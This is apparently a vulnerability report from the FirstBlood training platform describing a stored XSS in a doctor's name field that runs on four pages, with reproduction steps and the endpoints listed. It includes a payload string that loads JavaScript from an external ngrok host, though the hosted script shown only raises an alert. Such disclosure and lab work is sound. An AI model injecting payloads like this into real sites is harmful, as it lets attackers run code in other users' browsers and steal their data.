FirstBlood-#1390Stored xss in doctors name
This issue was discovered on FirstBlood v3



On 2022-12-09, didsec Level 5 reported:

I have discovered a stored XSS vulnerability affecting the doctors name that will execute on 4 different pages

Payload string

<script/src=//ngrok.io/payload.js?c=

payload.js contents

alert(document.domain)

To reproduce:

  1. Host the payload.js file on a server I used ngrok
  2. Login in and pick a doctor to modify
  3. Change the doctors name to the payload string
  4. Visit one of the endpoints below and the xss will execute

Endpoints that this xss will execute on:

  1. firstbloodhackers.com/doctors.php
  2. firstbloodhackers.com/meet_drs.php
  3. firstbloodhackers.com/manageappointment.php?success&aptid={ID} If the payload is placed in Dr. julie's name and she is assigned to the appointment
  4. firstbloodhackers.com/about.php If the payload is placed in Dr. Jon's name

    Impact:

  5. The attacker can steal data from whoever views the page.
  6. Users can execute arbitrary JavaScript code in the context of other users.

P2 High

This report contains multiple vulnerabilities:

  • Stored XSS
  • Stored XSS
  • Stored XSS
  • Stored XSS


FirstBlood ID: 54
Vulnerability Type: Stored XSS

It is possible to achieve stored XSS on the /meet_drs.php endpoint via a malicious doctors name

FirstBlood ID: 55
Vulnerability Type: Stored XSS

It is possible to achieve stored XSS on the /doctors.php endpoint via a malicious doctors name

FirstBlood ID: 56
Vulnerability Type: Stored XSS

It is possible to achieve stored XSS on the /about.php endpoint via a malicious doctors name

FirstBlood ID: 57
Vulnerability Type: Stored XSS

It is possible to achieve stored XSS on the /manageappointment.php endpoint via a malicious doctors name if the user has booked this specific doctor